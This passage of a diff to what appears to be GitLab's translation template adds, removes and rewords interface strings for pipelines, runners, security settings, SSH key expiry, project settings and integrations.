msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24514,6 +24906,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24610,9 +25005,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -24865,6 +25257,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25180,9 +25578,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25312,6 +25707,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25327,9 +25725,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25420,10 +25815,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25564,6 +25959,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25591,9 +25989,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -25834,7 +26229,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26116,7 +26511,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26137,13 +26532,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26185,13 +26580,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26521,9 +26919,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26602,6 +26997,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -26869,12 +27267,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -26944,6 +27348,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -26968,6 +27375,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -26989,6 +27399,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27193,6 +27609,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27400,6 +27819,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27418,9 +27840,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27781,6 +28209,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -27943,6 +28374,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28057,6 +28491,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28157,9 +28597,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28326,6 +28763,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28353,6 +28793,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28362,6 +28805,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28479,15 +28928,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28503,6 +28952,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28572,6 +29024,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28596,6 +29051,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28771,6 +29229,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28792,6 +29253,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28810,6 +29274,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -28888,7 +29355,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -28903,6 +29370,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -28924,6 +29397,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -28963,6 +29439,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29028,6 +29507,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29342,6 +29824,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29396,6 +29881,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29408,6 +29896,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29429,6 +29920,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29441,12 +29935,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29480,6 +29980,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29489,6 +29992,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29519,12 +30025,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29582,19 +30094,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29675,21 +30193,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30055,6 +30558,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30079,6 +30585,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30127,7 +30636,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30142,7 +30651,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30154,7 +30663,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30214,6 +30723,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30223,6 +30735,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30247,6 +30762,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30316,7 +30837,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30325,6 +30849,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30346,6 +30873,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30565,7 +31098,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30598,6 +31131,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30736,6 +31272,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -30940,9 +31479,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31042,7 +31578,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31054,6 +31599,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31099,6 +31647,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31180,6 +31731,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31237,9 +31791,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31313,9 +31864,6 @@ msgid "Setting saved successfully"
msgid_plural "Settings saved successfully"
msgstr[0] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31382,6 +31930,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31397,6 +31966,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31445,18 +32017,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -31819,6 +32382,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -31903,9 +32472,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32182,9 +32748,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32203,6 +32766,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32356,9 +32946,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32503,6 +33090,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32524,7 +33114,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32533,6 +33123,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32554,6 +33147,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32569,6 +33168,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33552,10 +34154,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -33807,7 +34409,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -33843,7 +34445,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34048,9 +34653,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34183,9 +34785,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34240,6 +34839,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34336,9 +34938,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34351,9 +34950,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34729,6 +35325,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34747,12 +35346,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -34801,6 +35394,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -34855,12 +35454,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -34870,6 +35472,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35005,9 +35610,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35050,6 +35652,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35149,7 +35754,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
